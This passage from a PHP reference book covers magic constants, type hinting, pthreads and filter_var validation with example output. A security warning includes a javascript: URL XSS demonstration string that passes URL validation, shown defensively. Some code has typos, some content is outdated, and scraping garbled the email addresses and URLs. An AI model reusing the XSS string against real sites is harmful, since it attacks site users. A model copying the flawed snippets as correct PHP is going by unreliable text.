most often used as a logging/debugging technique.

echo "We are in the file:" , __FILE__ , "\n";

Current directory

To get the absolute path to the directory where the current file is located use the __DIR__ magic constant.

echo "Our script is located in the:" , __DIR__ , "\n";

To get the absolute path to the directory where the current file is located, use dirname(__FILE__).

echo "Our script is located in the:" , dirname(__FILE__) , "\n";

Getting current directory is often used by PHP frameworks to set a base directory:

// index.php of the framework

define(BASEDIR, __DIR__); // using magic constant to define normal constant

// somefile.php looks for views:

$view = 'page';
$viewFile = BASEDIR . '/views/' . $view;
Separators

Windows system perfectly understands the / in paths so the DIRECTORY_SEPARATOR is used mainly when parsing
paths.

Besides magic constants PHP also adds some fixed constants for working with paths:

DIRECTORY_SEPARATOR constant for separating directories in a path. Takes value / on *nix, and \ on Windows.
The example with views can be rewritten with:

$view = 'page';
$viewFile = BASEDIR . DIRECTORY_SEPARATOR .'views' . DIRECTORY_SEPARATOR . $view;

Complete PHP Tips & Secrets for Professionals 147

 Rarely used PATH_SEPARATOR constant for separating paths in the $PATH environment variable. It is ; on
Windows, : otherwise

Chapter 30: Type hinting

function f(ClassName $param) {}
function f(bool $param) {}
function f(int $param) {}
function f(float $param) {}
function f(string $param) {}
function f(self $param) {}
function f(callable $param) {}
function f(array $param) {}
function f(?type_name $param) {}
function f() : type_name {}
function f() : void {}
function f() : ?type_name {}

Section 30.1: Type hinting classes and interfaces

Type hinting for classes and interfaces was added in PHP 5.

Class type hint

<?php

class Student
{
public $name = 'Chris';
}

class School
{
public $name = 'University of Edinburgh';
}

function enroll(Student $student, School $school)

{
echo $student->name . ' is being enrolled at ' . $school->name;
}

$student = new Student();

$school = new School();

enroll($student, $school);

The above script outputs:

Chris is being enrolled at University of Edinburgh

Interface type hint

<?php

interface Enrollable {};

interface Attendable {};

class Chris implements Enrollable

{
public $name = 'Chris';

Complete PHP Tips & Secrets for Professionals 148

}

class UniversityOfEdinburgh implements Attendable

{
public $name = 'University of Edinburgh';
}

function enroll(Enrollable $enrollee, Attendable $premises)

{
echo $enrollee->name . ' is being enrolled at ' . $premises->name;
}

$chris = new Chris();

$edinburgh = new UniversityOfEdinburgh();

enroll($chris, $edinburgh);

The above example outputs the same as before:

Chris is being enrolled at University of Edinburgh

Self type hints

The self keyword can be used as a type hint to indicate that the value must be an instance of the class that
declares the method.

Section 30.2: Type hinting scalar types, arrays and callables

Support for type hinting array parameters (and return values after PHP 7.1) was added in PHP 5.1 with the keyword
array. Any arrays of any dimensions and types, as well as empty arrays, are valid values.

Support for type hinting callables was added in PHP 5.4. Any value that is_callable() is valid for parameters and
return values hinted callable, i.e. Closure objects, function name strings and array(class_name|object,
method_name).

If a typo occurs in the function name such that it is not is_callable(), a less obvious error message would be
displayed:

Fatal error: Uncaught TypeError: Argument 1 passed to foo() must be of the type callable, string/array given

function foo(callable $c) {}

foo("count"); // valid
foo("Phar::running"); // valid
foo(["Phar", "running"); // valid
foo([new ReflectionClass("stdClass"), "getName"]); // valid
foo(function() {}); // valid

foo("no_such_function"); // callable expected, string given

Nonstatic methods can also be passed as callables in static format, resulting in a deprecation warning and level
E_STRICT error in PHP 7 and 5 respectively.

Method visibility is taken into account. If the context of the method with the callable parameter does not have access
to the callable provided, it will end up as if the method does not exist.

class Foo{
private static function f(){
echo "Good" . PHP_EOL;
}

Complete PHP Tips & Secrets for Professionals 149

 public static function r(callable $c){
$c();
}
}

function r(callable $c){}

Foo::r(["Foo", "f"]);
r(["Foo", "f"]);

Output:

Fatal error: Uncaught TypeError: Argument 1 passed to r() must be callable, array given

Support for type hinting scalar types was added in PHP 7. This means that we gain type hinting support for
booleans, integers, floats and strings.

<?php

function add(int $a, int $b) {

return $a + $b;
}

var_dump(add(1, 2)); // Outputs "int(3)"

By default, PHP will attempt to cast any provided argument to match its type hint. Changing the call to add(1.5, 2)
gives exactly the same output, since the float 1.5 was cast to int by PHP.

To stop this behavior, one must add declare(strict_types=1); to the top of every PHP source file that requires it.

<?php

declare(strict_types=1);

function add(int $a, int $b) {

return $a + $b;
}

var_dump(add(1.5, 2));

The above script now produces a fatal error:

Fatal error: Uncaught TypeError: Argument 1 passed to add() must be of the type integer, float given

An Exception: Special Types

Some PHP functions may return a value of type resource. Since this is not a scalar type, but a special type, it is not
possible to type hint it.

As an example, curl_init() will return a resource, as well as fopen(). Of course, those two resources aren't
compatible to each other. Because of that, PHP 7 will always throw the following TypeError when type hinting
resource explicitly:

TypeError: Argument 1 passed to sample() must be an instance of resource, resource given

Section 30.3: Nullable type hints

Parameters

Complete PHP Tips & Secrets for Professionals 150

Nullable type hint was added in PHP 7.1 using the ? operator before the type hint.

function f(?string $a) {}

function g(string $a) {}

f(null); // valid
g(null); // TypeError: Argument 1 passed to g() must be of the type string, null given

Before PHP 7.1, if a parameter has a type hint, it must declare a default value null to accept null values.

function f(string $a = null) {}

function g(string $a) {}

f(null); // valid
g(null); // TypeError: Argument 1 passed to g() must be of the type string, null given
Return values

In PHP 7.0, functions with a return type must not return null.

In PHP 7.1, functions can declare a nullable return type hint. However, the function must still return null, not void
(no/empty return statements).

function f() : ?string {

return null;
}

function g() : ?string {}

function h() : ?string {}

f(); // OK
g(); // TypeError: Return value of g() must be of the type string or null, none returned
h(); // TypeError: Return value of h() must be of the type string or null, none returned

Section 30.4: Type hinting generic objects

Since PHP objects don't inherit from any base class (including stdClass), there is no support for type hinting a
generic object type.

For example, the below will not work.

<?php

function doSomething(object $obj) {

return $obj;
}

class ClassOne {}
class ClassTwo {}

$classOne= new ClassOne();

$classTwo= new ClassTwo();

doSomething($classOne);
doSomething($classTwo);

And will throw a fatal error:

Fatal error: Uncaught TypeError: Argument 1 passed to doSomething() must be an instance of object, instance of
OperationOne given

Complete PHP Tips & Secrets for Professionals 151

A workaround to this is to declare a degenerate interface that defines no methods, and have all of your objects
implement this interface.

<?php

interface Object {}

function doSomething(Object $obj) {

return $obj;
}

class ClassOne implements Object {}

class ClassTwo implements Object {}

$classOne = new ClassOne();

$classTwo = new ClassTwo();

doSomething($classOne);
doSomething($classTwo);

Section 30.5: Type Hinting No Return(Void)

In PHP 7.1, the void return type was added. While PHP has no actual void value, it is generally understood across
programming languages that a function that returns nothing is returning void. This should not be confused with
returning null, as null is a value that can be returned.

function lacks_return(): void {

// valid
}

Note that if you declare a void return, you cannot return any values or you will get a fatal error:

function should_return_nothing(): void {

return null; // Fatal error: A void function must not return a value
}

However, using return to exit the function is valid:

function returns_nothing(): void {

return; // valid
}

Chapter 31: Multi Threading Extension

Section 31.1: Getting Started
To start with multi-threading, you would need the pthreads-ext for php, which can be installed by

$ pecl install pthreads

and adding the entry to php.ini.

A simple example:

<?php
// NOTE: Code uses PHP7 semantics.
class MyThread extends Thread {
/**
* @var string
* Variable to contain the message to be displayed.

Complete PHP Tips & Secrets for Professionals 152

 */
private $message;

public function __construct(string $message) {

// Set the message value for this particular instance.
$this->message = $message;
}

// The operations performed in this function is executed in the other thread.

public function run() {
echo $this->message;
}
}

// Instantiate MyThread
$myThread = new MyThread("Hello from an another thread!");
// Start the thread. Also it is always a good practice to join the thread explicitly.
// Thread::start() is used to initiate the thread,
$myThread->start();
// and Thread::join() causes the context to wait for the thread to finish executing
$myThread->join();

Section 31.2: Using Pools and Workers

Pooling provides a higher level abstraction of the Worker functionality, including the management of references in
the way required by pthreads. From: http://php.net/manual/en/class.pool.php

Pools and workers provide an higher level of control and ease of creating multi-threaded

<?php
// This is the *Work* which would be ran by the worker.
// The work which you'd want to do in your worker.
// This class needs to extend the \Threaded or \Collectable or \Thread class.
class AwesomeWork extends Thread {
private $workName;

/**
* @param string $workName
* The work name wich would be given to every work.
*/
public function __construct(string $workName) {
// The block of code in the constructor of your work,
// would be executed when a work is submitted to your pool.

$this->workName = $workName;
printf("A new work was submitted with the name: %s\n", $workName);
}

public function run() {

// This block of code in, the method, run
// would be called by your worker.
// All the code in this method will be executed in another thread.
$workName = $this->workName;
printf("Work named %s starting...\n", $workName);
printf("New random number: %d\n", mt_rand());
}
}

// Create an empty worker for the sake of simplicity.

class AwesomeWorker extends Worker {
public function run() {
// You can put some code in here, which would be executed

Complete PHP Tips & Secrets for Professionals 153

 // before the Work's are started (the block of code in the `run` method of your Work)
// by the Worker.
/* ... */
}
}

// Create a new Pool Instance.

// The ctor of \Pool accepts two parameters.
// First: The maximum number of workers your pool can create.
// Second: The name of worker class.
$pool = new \Pool(1, \AwesomeWorker::class);

// You need to submit your jobs, rather the instance of

// the objects (works) which extends the \Threaded class.
$pool->submit(new \AwesomeWork("DeadlyWork"));
$pool->submit(new \AwesomeWork("FatalWork"));

// We need to explicitly shutdown the pool, otherwise,

// unexpected things may happen.
// See: http://stackoverflow.com/a/23600861/23602185
$pool->shutdown();

Chapter 32: Filters & Filter Functions

mixed filter_var ( mixed $variable [, int $filter = FILTER_DEFAULT [, mixed $options ]] )

Parameter Details
variable Value to filter. Note that scalar values are converted to string internally before they are filtered.
------ ------
The ID of the filter to apply. The Types of filters manual page lists the available filters.If omitted,
filter FILTER_DEFAULT will be used, which is equivalent to FILTER_UNSAFE_RAW. This will result in no filtering
taking place by default.
------ ------
Associative array of options or bitwise disjunction of flags. If filter accepts options, flags can be
options provided in "flags" field of array. For the "callback" filter, callable type should be passed. The callback
must accept one argument, the value to be filtered, and return the value after filtering/sanitizing it.

This extension filters data by either validating or sanitizing it. This is especially useful when the data source contains
unknown (or foreign) data, like user supplied input. For example, this data may come from an HTML form.

Section 32.1: Validating Boolean Values

var_dump(filter_var(true, FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE)); // true
var_dump(filter_var(false, FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE)); // false
var_dump(filter_var(1, FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE)); // true
var_dump(filter_var(0, FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE)); // false
var_dump(filter_var('1', FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE)); // true
var_dump(filter_var('0', FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE)); // false
var_dump(filter_var('', FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE)); // false
var_dump(filter_var(' ', FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE)); // false
var_dump(filter_var('true', FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE)); // true
var_dump(filter_var('false', FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE)); // false
var_dump(filter_var([], FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE)); // NULL
var_dump(filter_var(null, FILTER_VALIDATE_BOOLEAN, FILTER_NULL_ON_FAILURE)); // false

Section 32.2: Validating A Number Is A Float

Validates value as float, and converts to float on success.

var_dump(filter_var(1, FILTER_VALIDATE_FLOAT));
var_dump(filter_var(1.0, FILTER_VALIDATE_FLOAT));

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var_dump(filter_var(1.0000, FILTER_VALIDATE_FLOAT));
var_dump(filter_var(1.00001, FILTER_VALIDATE_FLOAT));
var_dump(filter_var('1', FILTER_VALIDATE_FLOAT));
var_dump(filter_var('1.0', FILTER_VALIDATE_FLOAT));
var_dump(filter_var('1.0000', FILTER_VALIDATE_FLOAT));
var_dump(filter_var('1.00001', FILTER_VALIDATE_FLOAT));
var_dump(filter_var('1,000', FILTER_VALIDATE_FLOAT));
var_dump(filter_var('1,000.0', FILTER_VALIDATE_FLOAT));
var_dump(filter_var('1,000.0000', FILTER_VALIDATE_FLOAT));
var_dump(filter_var('1,000.00001', FILTER_VALIDATE_FLOAT));

var_dump(filter_var(1, FILTER_VALIDATE_FLOAT, FILTER_FLAG_ALLOW_THOUSAND));

var_dump(filter_var(1.0, FILTER_VALIDATE_FLOAT, FILTER_FLAG_ALLOW_THOUSAND));
var_dump(filter_var(1.0000, FILTER_VALIDATE_FLOAT, FILTER_FLAG_ALLOW_THOUSAND));
var_dump(filter_var(1.00001, FILTER_VALIDATE_FLOAT, FILTER_FLAG_ALLOW_THOUSAND));
var_dump(filter_var('1', FILTER_VALIDATE_FLOAT, FILTER_FLAG_ALLOW_THOUSAND));
var_dump(filter_var('1.0', FILTER_VALIDATE_FLOAT, FILTER_FLAG_ALLOW_THOUSAND));
var_dump(filter_var('1.0000', FILTER_VALIDATE_FLOAT, FILTER_FLAG_ALLOW_THOUSAND));
var_dump(filter_var('1.00001', FILTER_VALIDATE_FLOAT, FILTER_FLAG_ALLOW_THOUSAND));
var_dump(filter_var('1,000', FILTER_VALIDATE_FLOAT, FILTER_FLAG_ALLOW_THOUSAND));
var_dump(filter_var('1,000.0', FILTER_VALIDATE_FLOAT, FILTER_FLAG_ALLOW_THOUSAND));
var_dump(filter_var('1,000.0000', FILTER_VALIDATE_FLOAT, FILTER_FLAG_ALLOW_THOUSAND));
var_dump(filter_var('1,000.00001', FILTER_VALIDATE_FLOAT, FILTER_FLAG_ALLOW_THOUSAND));

Results

float(1)
float(1)
float(1)
float(1.00001)
float(1)
float(1)
float(1)
float(1.00001)
bool(false)
bool(false)
bool(false)
bool(false)

float(1)
float(1)
float(1)
float(1.00001)
float(1)
float(1)
float(1)
float(1.00001)
float(1000)
float(1000)
float(1000)
float(1000.00001)

Section 32.3: Validate A MAC Address

Validates a value is a valid MAC address

var_dump(filter_var('FA-F9-DD-B2-5E-0D', FILTER_VALIDATE_MAC));
var_dump(filter_var('DC-BB-17-9A-CE-81', FILTER_VALIDATE_MAC));
var_dump(filter_var('96-D5-9E-67-40-AB', FILTER_VALIDATE_MAC));
var_dump(filter_var('96-D5-9E-67-40', FILTER_VALIDATE_MAC));
var_dump(filter_var('', FILTER_VALIDATE_MAC));

Complete PHP Tips & Secrets for Professionals 155

Results:

string(17) "FA-F9-DD-B2-5E-0D"
string(17) "DC-BB-17-9A-CE-81"
string(17) "96-D5-9E-67-40-AB"
bool(false)
bool(false)

Section 32.4: Sanitze Email Addresses

Remove all characters except letters, digits and !#$%&'*+-=?^_`{|}~@.[].

var_dump(filter_var('[email protected]', FILTER_SANITIZE_EMAIL));
var_dump(filter_var("!#$%&'*+-=?^_`{|}~.[]@example.com", FILTER_SANITIZE_EMAIL));
var_dump(filter_var('john/@example.com', FILTER_SANITIZE_EMAIL));
var_dump(filter_var('john\@example.com', FILTER_SANITIZE_EMAIL));
var_dump(filter_var('joh [email protected]', FILTER_SANITIZE_EMAIL));

Results:

string(16) "[email protected]"
string(33) "!#$%&'*+-=?^_`{|}~.[]@example.com"
string(16) "[email protected]"
string(16) "[email protected]"
string(16) "[email protected]"

Section 32.5: Sanitize Integers

Remove all characters except digits, plus and minus sign.

var_dump(filter_var(1, FILTER_SANITIZE_NUMBER_INT));
var_dump(filter_var(-1, FILTER_SANITIZE_NUMBER_INT));
var_dump(filter_var(+1, FILTER_SANITIZE_NUMBER_INT));
var_dump(filter_var(1.00, FILTER_SANITIZE_NUMBER_INT));
var_dump(filter_var(+1.00, FILTER_SANITIZE_NUMBER_INT));
var_dump(filter_var(-1.00, FILTER_SANITIZE_NUMBER_INT));
var_dump(filter_var('1', FILTER_SANITIZE_NUMBER_INT));
var_dump(filter_var('-1', FILTER_SANITIZE_NUMBER_INT));
var_dump(filter_var('+1', FILTER_SANITIZE_NUMBER_INT));
var_dump(filter_var('1.00', FILTER_SANITIZE_NUMBER_INT));
var_dump(filter_var('+1.00', FILTER_SANITIZE_NUMBER_INT));
var_dump(filter_var('-1.00', FILTER_SANITIZE_NUMBER_INT));
var_dump(filter_var('1 unicorn', FILTER_SANITIZE_NUMBER_INT));
var_dump(filter_var('-1 unicorn', FILTER_SANITIZE_NUMBER_INT));
var_dump(filter_var('+1 unicorn', FILTER_SANITIZE_NUMBER_INT));
var_dump(filter_var("!#$%&'*+-=?^_`{|}~@.[]0123456789abcdefghijklmnopqrstuvwxyz",
FILTER_SANITIZE_NUMBER_INT));

Results:

string(1) "1"
string(2) "-1"
string(1) "1"
string(1) "1"
string(1) "1"
string(2) "-1"
string(1) "1"
string(2) "-1"
string(2) "+1"
string(3) "100"
string(4) "+100"
string(4) "-100"

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string(1) "1"
string(2) "-1"
string(2) "+1"
string(12) "+-0123456789"

Section 32.6: Sanitize URLs

Sanitze URLs

Remove all characters except letters, digits and $-_.+!*'(),{}|\^~[]`<>#%";/?:@&=

var_dump(filter_var('http://www.example.com/path/to/dir/index.php?test=y', FILTER_SANITIZE_URL));
var_dump(filter_var("http://www.example.com/path/to/dir/index.php?test=y!#$%&'*+-=?^_`{|}~.[]",
FILTER_SANITIZE_URL));
var_dump(filter_var('http://www.example.com/path/to/dir/index.php?test=a b c',
FILTER_SANITIZE_URL));

Results:

string(51) "http://www.example.com/path/to/dir/index.php?test=y"
string(72) "http://www.example.com/path/to/dir/index.php?test=y!#$%&'*+-=?^_`{|}~.[]"
string(53) "http://www.example.com/path/to/dir/index.php?test=abc"

Section 32.7: Validate Email Address

When filtering an email address filter_var() will return the filtered data, in this case the email address, or false if
a valid email address cannot be found:

var_dump(filter_var('[email protected]', FILTER_VALIDATE_EMAIL));
var_dump(filter_var('notValidEmail', FILTER_VALIDATE_EMAIL));

Results:

string(16) "[email protected]"
bool(false)

This function doesn't validate not-latin characters. Internationalized domain name can be validated in their xn--
form.

Note that you cannot know if the email address is correct before sending an email to it. You may want to do some
extra checks such as checking for a MX record, but this is not necessary. If you send a confirmation email, don't
forget to remove unused accounts after a short period.

Section 32.8: Validating A Value Is An Integer

When filtering a value that should be an integer filter_var() will return the filtered data, in this case the integer,
or false if the value is not an integer. Floats are not integers:

var_dump(filter_var('10', FILTER_VALIDATE_INT));
var_dump(filter_var('a10', FILTER_VALIDATE_INT));
var_dump(filter_var('10a', FILTER_VALIDATE_INT));
var_dump(filter_var(' ', FILTER_VALIDATE_INT));
var_dump(filter_var('10.00', FILTER_VALIDATE_INT));
var_dump(filter_var('10,000', FILTER_VALIDATE_INT));
var_dump(filter_var('-5', FILTER_VALIDATE_INT));
var_dump(filter_var('+7', FILTER_VALIDATE_INT));

Results:

int(10)

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bool(false)
bool(false)
bool(false)
bool(false)
bool(false)
int(-5)
int(7)

If you are expecting only digits, you can use a regular expression:

if(is_string($_GET['entry']) && preg_match('#^[0-9]+$#', $_GET['entry']))

// this is a digit (positive) integer
else
// entry is incorrect

If you convert this value into an integer, you don't have to do this check and so you can use filter_var.

Section 32.9: Validating An Integer Falls In A Range

When validating that an integer falls in a range the check includes the minimum and maximum bounds:

$options = array(
'options' => array(
'min_range' => 5,
'max_range' => 10,
)
);
var_dump(filter_var('5', FILTER_VALIDATE_INT, $options));
var_dump(filter_var('10', FILTER_VALIDATE_INT, $options));
var_dump(filter_var('8', FILTER_VALIDATE_INT, $options));
var_dump(filter_var('4', FILTER_VALIDATE_INT, $options));
var_dump(filter_var('11', FILTER_VALIDATE_INT, $options));
var_dump(filter_var('-6', FILTER_VALIDATE_INT, $options));

Results:

int(5)
int(10)
int(8)
bool(false)
bool(false)
bool(false)

Section 32.10: Validate a URL

When filtering a URL filter_var() will return the filtered data, in this case the URL, or false if a valid URL cannot be
found:

URL: example.com

var_dump(filter_var('example.com', FILTER_VALIDATE_URL));
var_dump(filter_var('example.com', FILTER_VALIDATE_URL, FILTER_FLAG_SCHEME_REQUIRED));
var_dump(filter_var('example.com', FILTER_VALIDATE_URL, FILTER_FLAG_HOST_REQUIRED));
var_dump(filter_var('example.com', FILTER_VALIDATE_URL, FILTER_FLAG_PATH_REQUIRED));
var_dump(filter_var('example.com', FILTER_VALIDATE_URL, FILTER_FLAG_QUERY_REQUIRED));

Results:

bool(false)
bool(false)
bool(false)

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bool(false)
bool(false)

URL: http://example.com

var_dump(filter_var('http://example.com', FILTER_VALIDATE_URL));
var_dump(filter_var('http://example.com', FILTER_VALIDATE_URL, FILTER_FLAG_SCHEME_REQUIRED));
var_dump(filter_var('http://example.com', FILTER_VALIDATE_URL, FILTER_FLAG_HOST_REQUIRED));
var_dump(filter_var('http://example.com', FILTER_VALIDATE_URL, FILTER_FLAG_PATH_REQUIRED));
var_dump(filter_var('http://example.com', FILTER_VALIDATE_URL, FILTER_FLAG_QUERY_REQUIRED));

Results:

string(18) "http://example.com"
string(18) "http://example.com"
string(18) "http://example.com"
bool(false)
bool(false)

URL: http://www.example.com

var_dump(filter_var('http://www.example.com', FILTER_VALIDATE_URL));
var_dump(filter_var('http://www.example.com', FILTER_VALIDATE_URL, FILTER_FLAG_SCHEME_REQUIRED));
var_dump(filter_var('http://www.example.com', FILTER_VALIDATE_URL, FILTER_FLAG_HOST_REQUIRED));
var_dump(filter_var('http://www.example.com', FILTER_VALIDATE_URL, FILTER_FLAG_PATH_REQUIRED));
var_dump(filter_var('http://www.example.com', FILTER_VALIDATE_URL, FILTER_FLAG_QUERY_REQUIRED));

Results:

string(22) "http://www.example.com"
string(22) "http://www.example.com"
string(22) "http://www.example.com"
bool(false)
bool(false)

URL: http://www.example.com/path/to/dir/

var_dump(filter_var('http://www.example.com/path/to/dir/', FILTER_VALIDATE_URL));
var_dump(filter_var('http://www.example.com/path/to/dir/', FILTER_VALIDATE_URL,
FILTER_FLAG_SCHEME_REQUIRED));
var_dump(filter_var('http://www.example.com/path/to/dir/', FILTER_VALIDATE_URL,
FILTER_FLAG_HOST_REQUIRED));
var_dump(filter_var('http://www.example.com/path/to/dir/', FILTER_VALIDATE_URL,
FILTER_FLAG_PATH_REQUIRED));
var_dump(filter_var('http://www.example.com/path/to/dir/', FILTER_VALIDATE_URL,
FILTER_FLAG_QUERY_REQUIRED));

Results:

string(35) "http://www.example.com/path/to/dir/"
string(35) "http://www.example.com/path/to/dir/"
string(35) "http://www.example.com/path/to/dir/"
string(35) "http://www.example.com/path/to/dir/"
bool(false)

URL: http://www.example.com/path/to/dir/index.php

var_dump(filter_var('http://www.example.com/path/to/dir/index.php', FILTER_VALIDATE_URL));
var_dump(filter_var('http://www.example.com/path/to/dir/index.php', FILTER_VALIDATE_URL,
FILTER_FLAG_SCHEME_REQUIRED));
var_dump(filter_var('http://www.example.com/path/to/dir/index.php', FILTER_VALIDATE_URL,
FILTER_FLAG_HOST_REQUIRED));

Complete PHP Tips & Secrets for Professionals 159

var_dump(filter_var('http://www.example.com/path/to/dir/index.php', FILTER_VALIDATE_URL,
FILTER_FLAG_PATH_REQUIRED));
var_dump(filter_var('http://www.example.com/path/to/dir/index.php', FILTER_VALIDATE_URL,
FILTER_FLAG_QUERY_REQUIRED));

Results:

string(44) "http://www.example.com/path/to/dir/index.php"
string(44) "http://www.example.com/path/to/dir/index.php"
string(44) "http://www.example.com/path/to/dir/index.php"
string(44) "http://www.example.com/path/to/dir/index.php"
bool(false)

URL: http://www.example.com/path/to/dir/index.php?test=y

var_dump(filter_var('http://www.example.com/path/to/dir/index.php?test=y', FILTER_VALIDATE_URL));
var_dump(filter_var('http://www.example.com/path/to/dir/index.php?test=y', FILTER_VALIDATE_URL,
FILTER_FLAG_SCHEME_REQUIRED));
var_dump(filter_var('http://www.example.com/path/to/dir/index.php?test=y', FILTER_VALIDATE_URL,
FILTER_FLAG_HOST_REQUIRED));
var_dump(filter_var('http://www.example.com/path/to/dir/index.php?test=y', FILTER_VALIDATE_URL,
FILTER_FLAG_PATH_REQUIRED));
var_dump(filter_var('http://www.example.com/path/to/dir/index.php?test=y', FILTER_VALIDATE_URL,
FILTER_FLAG_QUERY_REQUIRED));

Results:

string(51) "http://www.example.com/path/to/dir/index.php?test=y"
string(51) "http://www.example.com/path/to/dir/index.php?test=y"
string(51) "http://www.example.com/path/to/dir/index.php?test=y"
string(51) "http://www.example.com/path/to/dir/index.php?test=y"
string(51) "http://www.example.com/path/to/dir/index.php?test=y"

Warning: You must check the protocol to protect you against an XSS attack:

var_dump(filter_var('javascript://comment%0Aalert(1)', FILTER_VALIDATE_URL));
// string(31) "javascript://comment%0Aalert(1)"

Section 32.11: Sanitize Floats

Remove all characters except digits, +- and optionally .,eE.

var_dump(filter_var(1, FILTER_SANITIZE_NUMBER_FLOAT));
var_dump(filter_var(1.0, FILTER_SANITIZE_NUMBER_FLOAT));
var_dump(filter_var(1.0000, FILTER_SANITIZE_NUMBER_FLOAT));
var_dump(filter_var(1.00001, FILTER_SANITIZE_NUMBER_FLOAT));
var_dump(filter_var('1', FILTER_SANITIZE_NUMBER_FLOAT));
var_dump(filter_var('1.0', FILTER_SANITIZE_NUMBER_FLOAT));
var_dump(filter_var('1.0000', FILTER_SANITIZE_NUMBER_FLOAT));
var_dump(filter_var('1.00001', FILTER_SANITIZE_NUMBER_FLOAT));
var_dump(filter_var('1,000', FILTER_SANITIZE_NUMBER_FLOAT));
var_dump(filter_var('1,000.0', FILTER_SANITIZE_NUMBER_FLOAT));
var_dump(filter_var('1,000.0000', FILTER_SANITIZE_NUMBER_FLOAT));
var_dump(filter_var('1,000.00001', FILTER_SANITIZE_NUMBER_FLOAT));
var_dump(filter_var('1.8281e-009', FILTER_SANITIZE_NUMBER_FLOAT));

Results:

string(1) "1"
string(1) "1"
string(1) "1"
string(6) "100001"

Complete PHP Tips & Secrets for Professionals 160

string(1) "1"
string(2) "10"
string(5) "10000"
string(6) "100001"
string(4) "1000"
string(5) "10000"
string(8) "10000000"
string(9) "100000001"
string(9) "18281-009"

With the FILTER_FLAG_ALLOW_THOUSAND option:

var_dump(filter_var(1, FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_THOUSAND));

var_dump(filter_var(1.0, FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_THOUSAND));
var_dump(filter_var(1.0000, FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_THOUSAND));
var_dump(filter_var(1.00001, FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_THOUSAND));
var_dump(filter_var('1', FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_THOUSAND));
var_dump(filter_var('1.0', FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_THOUSAND));
var_dump(filter_var('1.0000', FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_THOUSAND));
var_dump(filter_var('1.00001', FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_THOUSAND));
var_dump(filter_var('1,000', FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_THOUSAND));
var_dump(filter_var('1,000.0', FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_THOUSAND));
var_dump(filter_var('1,000.0000', FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_THOUSAND));
var_dump(filter_var('1,000.00001', FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_THOUSAND));
var_dump(filter_var('1.8281e-009', FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_THOUSAND));

Results:

string(1) "1"
string(1) "1"
string(6) "100001"
string(1) "1"
string(2) "10"
string(5) "10000"
string(6) "100001"
string(5) "1,000"
string(6) "1,0000"
string(9) "1,0000000"
string(10) "1,00000001"
string(9) "18281-009"

With the FILTER_FLAG_ALLOW_SCIENTIFIC option:

var_dump(filter_var(1, FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_SCIENTIFIC));

var_dump(filter_var(1.0, FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_SCIENTIFIC));
var_dump(filter_var(1.0000, FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_SCIENTIFIC));
var_dump(filter_var(1.00001, FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_SCIENTIFIC));
var_dump(filter_var('1', FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_SCIENTIFIC));
var_dump(filter_var('1.0', FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_SCIENTIFIC));
var_dump(filter_var('1.0000', FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_SCIENTIFIC));
var_dump(filter_var('1.00001', FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_SCIENTIFIC));
var_dump(filter_var('1,000', FILTER_SANITIZE_NUMBER_FLOAT, FILTER_FLAG_ALLOW_SCIENTIFIC));
